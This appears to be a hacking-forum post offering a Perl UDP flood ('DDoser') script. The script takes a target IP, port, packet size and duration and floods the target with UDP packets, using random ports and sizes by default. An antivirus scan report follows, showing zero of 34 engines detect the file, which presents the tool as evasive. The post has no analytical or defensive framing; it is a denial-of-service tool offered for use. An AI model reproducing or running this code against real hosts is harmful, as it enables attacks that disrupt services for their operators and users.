DDoser DOS.LINUX Perl

[dacrusil]

[HIDE-THANKS]

#!/usr/bin/perl
##############

use Socket;
use strict;

if ($#ARGV != 3) {
printf "\n";
printf "*\n";
printf "*\n";
printf "*\n";
printf "[GHSDecrypt]\n";
printf "Danin_FusioN\n";
printf "Use: ddos.pl IP PORTA PACOTES TEMPO\n";
printf "*\n";
printf "*\n";
printf "*\n";
printf "\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);



$iaddr = inet_aton("$ip") or die "Ip Invalido $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(atk, PF_INET, SOCK_DGRAM, 17);


print "atking $ip " . ($port ? $port : "random") . " porta " .
($size ? "$size-byte" : "random size") . " pacotes" .
($time ? " for $time segundos" : "") . "\n";
print "Para parar use CRTL+C\n" unless $time;


for (;time() <= $endtime {
$psize = $size ? $size : int(rand(2000-100)+100) ;
$pport = $port ? $port : int(rand(65500))+1;

send(atk, pack("a$psize","atk"), 0, pack_sockaddr_in($pport, $iaddr));
}​

>

File Name: dos.linux

File Size: 0.991 KB

Scan Date: 2014-05-25

Scan Result: 0/34

MD5: 24c0a26e79f48d85f1048db6aff0fe92

AVG Free: Clean

ArcaVir: Clean

Avast: Clean

AntiVir (Avira): Clean

BitDefender: Clean

Clam Antivirus: Clean

COMODO Internet Security: Clean

Dr.Web: Clean

eTrust-Vet: Clean

F-PROT Antivirus: Clean

F-Secure Internet Security: Clean

G Data: Clean

IKARUS Security: Clean

Kaspersky Antivirus: Clean

McAfee: Clean

MS Security Essentials: Clean

Norman: Clean

Norton Antivirus: Clean

Panda Security: Clean

A-Squared: Clean

Quick Heal Antivirus: Clean

Solo Antivirus: Clean

Sophos: Clean

Trend Micro Internet Security: Clean

VBA32 Antivirus: Clean

Zoner AntiVirus: Clean

Ad-Aware: Clean

BullGuard: Clean

FortiClient: Clean

K7 Ultimate: Clean

NANO Antivirus: Clean

Panda CommandLine: Clean

Twister Antivirus: Clean

VIPRE: Clean

This link is hidden for visitors. Please Log in or register now.

[/HIDE-THANKS]

good:

​